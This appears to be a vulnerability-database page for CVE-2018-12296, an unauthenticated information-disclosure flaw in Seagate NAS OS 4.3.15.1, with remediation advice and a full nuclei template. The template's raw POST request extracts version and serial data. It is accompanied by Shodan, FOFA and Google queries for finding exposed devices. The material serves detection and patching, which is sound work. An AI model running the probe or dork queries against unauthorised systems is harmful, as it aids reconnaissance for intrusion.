Browse / CVEs / CVE-2018-12296
CVE-2018-12296· seagate / nas os· CWE-732
Seagate NAS OS 4.3.15.1 - Server Information Disclosure
highseverity
7.5CVSS score
11.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.
Impact
An attacker can gain sensitive information about the server, potentially leading to further attacks.
Fix
Upgrade to a patched version of Seagate NAS OS.
How to confirm it
Send: POST /api/external/7.0/system.System.get_infos
Positive when: contains "\"version\":" and "\"serial_number\":"Run it with nuclei: nuclei -id CVE-2018-12296 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-12296
info:
name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure
author: princechaddha
severity: high
description: Seagate NAS OS version 4.3.15.1 has insufficient access control which allows attackers to obtain information about the NAS without authentication via empty POST requests in /api/external/7.0/system.System.get_infos.
impact: |
An attacker can gain sensitive information about the server, potentially leading to further attacks.
remediation: |
Upgrade to a patched version of Seagate NAS OS.
reference:
- https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
- https://nvd.nist.gov/vuln/detail/CVE-2018-12296
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-12296
cwe-id: CWE-732
epss-score: 0.11337
epss-percentile: 0.96016
cpe: cpe:2.3:o:seagate:nas_os:4.3.15.1:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: seagate
product: nas_os
shodan-query: http.title:"seagate nas - seagate"
fofa-query: title="seagate nas - seagate"
google-query: intitle:"seagate nas - seagate"
tags: cve,cve2018,seagate,nasos,disclosure,unauth,vkev,vuln
http:
- raw:
- |
POST /api/external/7.0/system.System.get_infos HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
matchers:
- type: word
part: body
words:
- '"version":'
- '"serial_number":'
condition: and
extractors:
- type: regex
group: 1
regex:
- '"version": "([0-9.]+)"'
part: bodyReferences
- https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170
- https://nvd.nist.gov/vuln/detail/CVE-2018-12296
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from